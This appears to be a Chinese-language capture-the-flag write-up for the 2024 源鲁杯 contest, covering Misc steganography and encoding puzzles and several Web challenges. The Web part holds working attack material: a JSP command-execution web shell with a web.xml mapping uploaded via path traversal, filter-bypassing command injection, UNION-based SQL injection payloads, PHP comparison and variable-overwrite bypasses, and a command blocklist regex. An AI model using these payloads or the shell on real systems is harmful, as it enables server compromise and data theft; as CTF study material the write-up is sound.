源鲁杯2024赛题复现Web Misc部分WP

MISC

[Round 1] whatmusic

拿到题目,一个password和加密的压缩包

查看password的文件尾

这里会发现是png文件的文件头,逆序输出,并保存为1.png。得到一个图片,

进行CRC爆破,发现宽高被修改,之后拿到压缩包密码,解密后拿到flag文件。

这时根据题目whatmusic可判断为是音频文件

查看hint1:

桑德拉的女儿lyra。

这时可以去github搜lyra,搜到开源项目。可以将文件解密成音频文件。

(羊城杯和ISCC都可以找到例题)

[Round 1] SinCosTan

这里可以发现是一个wav音频文件

不过这题跟歌没什么关系,可以看到这是png图片的文件头

尝试提取数据

我们查找png文件头文件尾、zip文件头文件尾对应的ASCII数据

拿到俩个png图片和一个zip文件

zip文件中是一个hint.txt(我们需要修复一下zip文件)

很明显的零宽度隐写

那么这里我们拿到俩张一模一样的图片,还拿到了种子seed=114514,很明显能想到盲水印

python bwmforpy3.py decode 1.png 2.png 5.png --seed=114514

盲水印拿到flag

[Round 2] 滴答滴

使用010打开文件可以发现全部都是 00 和 FF,一般来说这是可以用于表示电平信号

看到这个要想到信号是什么编码,判断出是曼切斯特编码。脚本如下:

python 复制代码
def read_from_file(filename):
    # 从文件中读取二进制数据
    with open(filename, 'rb') as file:
        return file.read()

def manchester_to_binary(manchester_data):
    # 将曼切斯特编码的数据转换回二进制字符串
    binary_str = ''
    i = 0
    while i < len(manchester_data):
        if manchester_data[i] == 0 and manchester_data[i+1] ==255:
            binary_str += '0'
        elif manchester_data[i] == 255 and manchester_data[i+1] == 0:
            binary_str += '1'
        i += 2  # 每次处理两个字节
    return binary_str

def binary_to_char(binary_str):
    # 将二进制字符串转换回ASCII字符
    return ''.join([chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8)])

# 示例使用
filename = "attachment"  # 输入文件名
manchester_data = read_from_file(filename)
binary_str = manchester_to_binary(manchester_data)
print(binary_str)
ascii_str = binary_to_char(binary_str)

print(f"解码后的ASCII字符串: {ascii_str}")

# 这个脚本的使用要求是文件的十六进制数据为电平内容

[Round 2] 听~

DeepSound发现隐藏压缩包

emm难评

[Round 3] CheckImg

Green plane 0有明显提示

Red plane 0处有信息

提取Red0的数据,发现是png的文件头,俩位反转

反转脚本:

python 复制代码
def reverse_every_four_chars_to_new_file(input_file_path, output_file_path):  
    try:  
        with open(input_file_path, 'r', encoding='utf-8') as infile:  
            content = infile.read()  
            
        reversed_content = ''.join(content[i:i+4][::-1] for i in range(0, len(content), 4))  
          
        with open(output_file_path, 'w', encoding='utf-8') as outfile:  
            outfile.write(reversed_content)  
          
        print(f"处理完成,结果已写入 {output_file_path}")  
          
    except FileNotFoundError:  
        print(f"文件 {input_file_path} 未找到。")  
    except Exception as e:  
        print(f"处理文件时发生错误:{e}")  
  
# 调用函数,传入源文件路径和目标文件路径  
reverse_every_four_chars_to_new_file('1.txt', 'output.txt')

winhex提取数据,拿到另一张图片

可以发现是DNA解密

python 复制代码
import sys

bin_dna = {'00':'A','10':'C','01':'G','11':'T'}
mapping = {
        'AAA':'a','AAC':'b','AAG':'c','AAT':'d','ACA':'e','ACC':'f', 'ACG':'g','ACT':'h','AGA':'i','AGC':'j','AGG':'k','AGT':'l','ATA':'m','ATC':'n','ATG':'o','ATT':'p','CAA':'q','CAC':'r','CAG':'s','CAT':'t','CCA':'u','CCC':'v','CCG':'w','CCT':'x','CGA':'y','CGC':'z','CGG':'A','CGT':'B','CTA':'C','CTC':'D','CTG':'E','CTT':'F','GAA':'G','GAC':'H','GAG':'I','GAT':'J','GCA':'K','GCC':'L','GCG':'M','GCT':'N','GGA':'O','GGC':'P','GGG':'Q','GGT':'R','GTA':'S','GTC':'T','GTG':'U','GTT':'V','TAA':'W','TAC':'X','TAG':'Y','TAT':'Z','TCA':'1','TCC':'2','TCG':'3','TCT':'4','TGA':'5','TGC':'6','TGG':'7','TGT':'8','TTA':'9','TTC':'0','TTG':' ','TTT':'.'}

def bin_2_code(string):
    string = string.replace(" ","")
    string = string.replace("\n","")
    final=""
    for j in range(0,len(string),2):
        final+=bin_dna[string[j:j+2]]
    return final

def decode_dna(string):
    final=""
    for i in range(0,len(string),3):
        final+=mapping[string[i:i+3]]
    return final

print(decode_dna("GCAGTTCTGCTGGGGGGTGTACTAGAGTGACTCGTTGCAGTTGTATACGCATATCTGGTGGGGGTATCCCTTGATCGTGCACTGTCCTAAGCAGCAGAAGAGTCCCTGGCAGCTCTATAAGATCTTCTAGTGGGGGCTGTAGCAGAGGTTCGGGTTGAGGCTCGTGTCGCAGTTGCACTGTCCGTCTATGTGGCAGTTGACGTGTAAGGTTATTAAGAAGGTGAGGTTGTAGTTGTAGCTGATTATGATCTTGAGGGGGCAGCTGAGTATGCCCTCGAGGCTGCAGACGATGGGTCCCTTGTAGGGGCATAAGATGTTCGTGTGGTAGTCGTAGAGGCACTTGCCGTTGCGGTAGCACTTGCAGCTCTTCTGGAAGTTTATGTTGCAGTTGAACTGGCGGTAGATTAAGATGCGTATCTCGCGGTTGTAGTCGATGCTCTCGTGGGGGGGGTAGAAGAGTGAGCACTGTAGGCTTCCGCCGCATAGTCCCTCCTGGTCGCATAAGCATGACTGCTGGGGGTCGTACTAGAAGATCTCCTTGCGGTGTCCGAGGATCGGTCGCTGCTAGTCGCAGTTGCAGTTGCTCTGTAAGTGTCCCTAGAGCTTGAAGTGTAGGTTGCACGTGAGGGTGATCTGGCGGGTGTAGGTGAGGCTGCACTGTCCGTCGCAGAAGCACGGTATGTGTGCGCGTCCGTGGATGTTCGGGTTCGGGTGGTAGCCGCACTTCTCCTTGCGGGTGCAGAAGATCTTGCGCTCGAGGTCGGTTGA"))

拿到字符串

KVEEQRSCI5DVKVSXKZEUQS2FJBKE2WKKGI2EKNCWJFCUQNSKIVAVINBTKVKE2TZUKVHUWRZWGRIVSVSNJZJFIQKNIZLDINKHJQ2FSQKWJVBUSTSIKFLVMSKFKNFEGVZVKVGEMSJWJMZDMVSTJNDUQQSGI5KEYN2LKY2DETKWK5EEQTSCGJDFMU2IJA3ECTKVKVNEWU2CIFGUYVKBIRJEMRSRINKE2TKGKAZU6M2UJVAVAUSLKFDFMRKGJFMDITR5

之后就是编码解密............有点难

[Round 3] figure

在文件尾发现png文件头。提取数据并逆序输出。拿到图片。

根据hint1:

hint1 : x1x2x3..xnyn....y3y2y1

我们提取数据

52 83 102 82 121 76 106 112 69 74 102 106 105 119 78 101 71 66 119 87 49 115 55 113 114 116 111 68 88 100 72 107 109 85 104 85 81 89 109 51 101 102 90 56 76 89 84 103 77 89 65 71 66 82 49 57 112 120 106 71 120 107 84 105 99 106 84 77 122 86 68 120 115 50

把每个数据转ASCII

4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2

根据hint2:

hint2 : 栅栏 block=13

我们栅栏解密

4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR

这里我用在线网站解密的不准

然后就是头疼的base、rot系列

Web:

[Round 1] Disal

打开页面没有有用信息,查看robots.txt发现f1ag.php,访问查看源代码:

php 复制代码
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

这里要求a>999999且a的值为字母恰好出现六次。用十六进制编码绕过。令a=0xFFFFFF

b使用数组绕过。令b[]=12345。拿到flag

[Round 1] shxpl

页面是一个nslookup 工具

经过测试发现过滤参数很多

可用more查看文件,dir查看目录

www.baidu.com&dir

看到源代码index.php

www.baidu.com&more<index.php

拿到源码:

php 复制代码
<?php

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $domain = $_POST["domain"];
    if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){
        $output = shell_exec("nslookup " . $domain);
        echo "<h2>Results for $domain:</h2>";
        echo "<pre>" . htmlspecialchars($output) . "</pre>";
    }else{
        echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")

这里的话空格被过滤,如果直接在框中输入"dir%09/"查看根目录,%09会被过滤为%2509,所以可以用BP抓包查看根目录

www.baidu.com%26dir%09/

读取flag payload:

www.baidu.com%26more%09/f[l]ag_l4mnyerd

[Round 1] TOXEC

文件上传页面,发现可以上传xml文件,但不能上传jsp木马

上传一个shell.xml文件,内容为jsp的回显马,这里注意上传路径../WEB-INF/shell.xml

php 复制代码
<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  

%>

再上传一个web.xml,将xml解析为jsp。这里注意上传路径../WEB-INF/web.xml

php 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/shell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

最后访问exec路径即可

[Round 1] sInXx

一个查询员工界面:怀疑是sql注入

结果fuzz测试,发现是字符型单引号注入

判断回显点发现逗号被过滤,用join绕过:

判断回显点

sql 复制代码
SEARCH=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D%09JOIN%09(SELECT%091)E)#

爆库:

sql 复制代码
SEARCH=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09DATABASE())A%09JOIN%09(SELECT%091)B%09JOIN%09(SELECT%091)C%09JOIN%09(SELECT%091)D%09JOIN%09(SELECT%091)E)#

爆表:

这里发现information被过滤了,使用sys.schema_table_statistics_with_buffer绕过

sql 复制代码
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

爆flag:(没看懂为啥这样搞)

sql 复制代码
search=1'  UNION  SELECT  *  FROM  ((SELECT  `2`  FROM  (SELECT  *  FROM  ((SELECT  1)a  JOIN  (SELECT  2)b)  UNION  SELECT  *  FROM  DataSyncFLAG)p  limit  2  offset  1)A  join  (SELECT  1)B  join  (SELECT  1)C  join  (SELECT  1)D  join  (SELECT  1)E)#

[Round 1] Injct

访问首页发现输入的内容会原样输出,据这个思路判断可能是SSTI模板注入

首先用fenjing梭哈,但是无回显,尝试dns外带

首先尝试绕过waf,之后dns外带到ceye.io

直接梭哈

[Round 2] Cmnts

源码中提示路由,base64解码一下:get_th1s_f1ag.php

拿到源码:

php 复制代码
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);

if (isset($pass)) {
    $key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
    echo $flag;
}
else {
    highlight_file(__FILE__);
}

很明显,下述代码为干扰项

php 复制代码
if (isset($pass)) {
    $key = md5($pass);
}

我们直接传入参数 ?key=a7a795a8efb7c30151031c2cb700ddd9

相关推荐
黑龙江亿林等级保护测评16 分钟前
做等保二级备案需要准备哪些材料
网络·安全·金融·智能路由器·ddos
y0ungsheep35 分钟前
[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)
linux·web安全·网络安全·php
星海幻影35 分钟前
网络安全知识见闻终章 ?
网络·安全·web安全
kinlon.liu36 分钟前
安全日志记录的重要性
服务器·网络·安全·安全架构·1024程序员节
马戏团小丑1 小时前
fastjson/jackson对getter,setter和constructor的区分
java·安全
duliduli12192 小时前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
TIKTOKER22 小时前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
hanniuniu132 小时前
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
网络协议·tcp/ip·安全
星海幻影3 小时前
安全见闻-web安全
安全·web安全